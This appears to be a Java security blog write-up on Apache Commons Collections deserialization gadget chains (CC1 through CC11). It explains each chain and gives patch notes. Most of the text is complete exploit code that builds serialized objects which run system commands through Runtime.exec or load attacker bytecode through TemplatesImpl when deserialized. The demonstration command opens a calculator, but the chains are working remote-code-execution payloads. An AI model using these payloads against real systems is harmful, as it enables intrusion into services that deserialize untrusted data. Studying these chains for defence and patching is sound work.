Commons Collections Exploit

Commons-Collections-Exploit

Introduction

“Apache Commons” is a project of the Apache Software Foundation and it is also a popular program to study Java Deserialization Vulnerabilities.

Let’s talk about some classical CC gadget chains to have a general understanding in this kind of vulnerabilities.

CC1(Lazy Map)

ENV

  • JDK8u65
  • Commons-collections 3.2.1

Gadget Chain

InvokerTransformer

In InvokerTransformer#transform, there exists a dangerous code block, which might execute any command by the reflection.

Then, let’s find out which methods can trigger it.

ChainedTransformer

In ChainedTransformer#transform, we can call the method successively so that we can execute a serious of commands. Besides, this class can release our coding trouble as we needn’t to new a InvokerTransformer class one by another and call its transform method.

ConstantTransformer

It’s an easy class, we can use this class as the first element in the ChainedTransformer so that we can ignore the argument in ChainedTransformer#transforms

Till now, we have a demo to RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
)
};
Transformer chainedTransformer = ChainedTransformer.getInstance(transformers);
chainedTransformer.transform(1);

But how to exploit it from the java deserialize function: readobject()

LazyMap

In Lazymap#get, we can control the variable factory and call the transformer. Thanks to the ConstantTransformer, we needn’t to control the variable key.

AnnotationInvocationHandler

That’s the last puzzle to solve our question.

In AnnotationInvocationHandler#invoke, we have an available code block:Object result = memberValues.get(member); and the variable memberValues is controllable.

1
2
3
4
5
6
7
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
....
// Handle annotation member accessors
Object result = memberValues.get(member);
.....
}

Besides, in this class’s readObject function, the memberValues.entrySet() is called.

That means, if we set the memberValues as a DYNAMIC PROXY CLASS, it will call memberValues.invoke(), and the full chain has been constructed.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args)throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
)
};
Transformer chainedTransformer = ChainedTransformer.getInstance(transformers);
Map mp = LazyMap.decorate(new HashMap<Object, Object>(), chainedTransformer);
Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mp);
Map proxyMap = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

PATCH

In jdk8u71, AnnotationInvocationHandler will use readFields to get the specific property, not the defaultReadObject way.

CC1(Transformed Map)

Env

  • JDK8u65
  • Commons-collections 3.2.1

Gadget Chain

TransformedMap

Like the chain constructed by LazyMap, we can find another way to call the transform() method.

AbstractInputCheckedMapDecorator

In AbstractInputCheckedMapDecorator$MapEntry#setValue, we can call the method checkSetValue. Following the comments, we can notice that this subclass is a implementation of a map entry.

That means, if we let a element traverse the map.entry() and that map inherits from AbstractInputCheckedMapDecorator(e.g. TransformedMap), and this element call a setValue, then we can call into this setValue

Like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
)
};
Transformer chainedTransformer = ChainedTransformer.getInstance(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put("1", "1");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(1);
}

AnnotationInvocationHandler

Last question, where to trigger the setValue?

Same as the previous chain, we use AnnotationInvocationHandler. Its readobject function can meet our requirements very well.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args)throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
)
};
Transformer chainedTransformer = ChainedTransformer.getInstance(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put("value", "1");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

PATCH

In jdk8u71, there is no way to call setValue

CC6

ENV

  • JDK8
  • Commons-collections 3.2.1

Gadget Chain

TiedMapEntry

Just like the CC1, but this time, we call TiedMapEntry#getValue to trigger the LazyMap#get

Besides, TiedMapEntry#hashCode call the getValue

HashMap

In HashMap#readObject, we call the hash(key), which will use the key.hashcode()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static void main(String[] argc)throws Exception{
Transformer transformer = ChainedTransformer.getInstance(
new Transformer[]{
ConstantTransformer.getInstance(
Runtime.class
),
InvokerTransformer.getInstance(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
InvokerTransformer.getInstance(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
InvokerTransformer.getInstance(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
),
ConstantTransformer.getInstance(123)
}
);
Map expMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
Map tmpMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer("1"));
TiedMapEntry map = new TiedMapEntry(tmpMap, "exp");
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put(map, 1);

Class C = TiedMapEntry.class;
Field field = C.getDeclaredField("map");
field.setAccessible(true);
field.set(map, expMap);

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

I think its more practical than CC1

CC3

ENV

  • JDK8u65
  • Commons-collections 3.2.1

Gadget Chain

TemplatesImpl

This time, we use a new sink point to execute the malicious code.

In TemplatesImpl#defineTransletClasses, we can load a class by its bytecode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void defineTransletClasses()
throws TransformerConfigurationException {
...
try {
...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
...
}
...
}

and there exists a chain in the internal of TemplatesImpl.

1
newTransformer()->getTransletInstance()->defineTransletClasses()

TrAXFilter

In its contruct function, we can call templates.newTransformer()

InstantiateTransformer

In InstantiateTransformer#transform, we can new a instance of our specific class.

Then, we just need to concat it to our CC1 to RCE

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

Class c = TemplatesImpl.class;
Field field;

field = c.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "exp");

field = c.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{Files.readAllBytes(Paths.get("calc.class"))});

field = c.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
}
);

Map mp = LazyMap.decorate(new HashMap<Object, Object>(), chainedTransformer);
Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mp);
Map proxyMap = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

CC2&&CC4

ENV

  • JDK8
  • Commons-Collections 4.0

Gadget Chain

TransformingComparator

CC2 & CC4 just use a new way to call the transform().

Actually, in the CC gadget chain, just some different path from Serializable#readObject() to Transformer#transform()

This time, we will use TransformingComparator#compare to call the transform

PriorityQueue

In PriorityQueue#siftDownUsingComparator we will call the compare method.

And there exists a gadget chain from PriorityQueue#readObject to PriorityQueue#siftDownUsingComparator

1
readobject()->heapify()->siftDown()->siftDownUsingComparator()

EXP(CC2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void main(String[] argc)throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class c = TemplatesImpl.class;
Field field;

field = c.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "exp");

field = c.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{Files.readAllBytes(Paths.get("calc.class"))});

field = c.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
TransformingComparator comparator = new TransformingComparator<>(instantiateTransformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

field = queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

field = queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] tmp = new Object[]{TrAXFilter.class, TrAXFilter.class};
field.set(queue, tmp);

serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

PATCH

In 4.1 and 3.2.2, commons collections add a new method FunctorUtils#checkUnsafeSerialization to check whether the Deserialization is safe. If we unserialize some dangerous class(like Transformer), it will throw an exception.

Besides, in 4.1, the dangerous Transformer class will not implement Serializable any more.

CC5

ENV

  • JDK8
  • commons-collections-3.2.1

Gadget Chain

TiedMapEntry

Same as CC6, we will use this class to trigger LazyMap#get, but this time, will use TiedMapEntry#toString

BadAttributeValueExpException

In BadAttributeValueExpException#readObject, there exists a call to toString

So a new chain has been constructed.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void main(String argc[]) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
}
);
Map map = LazyMap.decorate(new HashMap<Object, Object>(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 1);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

CC7

ENV

  • JDK8
  • commons-collections-3.2.1

Gadget Chain

Hashtable && AbstractMapDecorator

It’s also a easy chain. I will just give the method name this time.

1
2
3
4
HashTable.readObject()
->HashTable.reconstitutionPut()
->AbstractMapDecorator.equals()
->LazyMap.get()

EXP

In fact, it has a lot of details to weave the EXP…

But I don’t think they are important…

CC11

ENV

  • JDK8
  • commons-collections-3.2.1

Gadget Chain

1
2
3
4
5
HashMap.readobject()
->TiedMapEntry.hashcode()
->LazyMap.get()
->InvokerTransformer.transform()
->TemplatesImpl.newTransformer()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class main {
public static void main(String[] argc) throws Exception {
Field field;

TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("calc.class"));

field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");

field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});

field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
Map tmp = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates);

HashMap<Object, Object>hashMap = new HashMap<Object, Object>();
hashMap.put(tiedMapEntry, 1);

field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}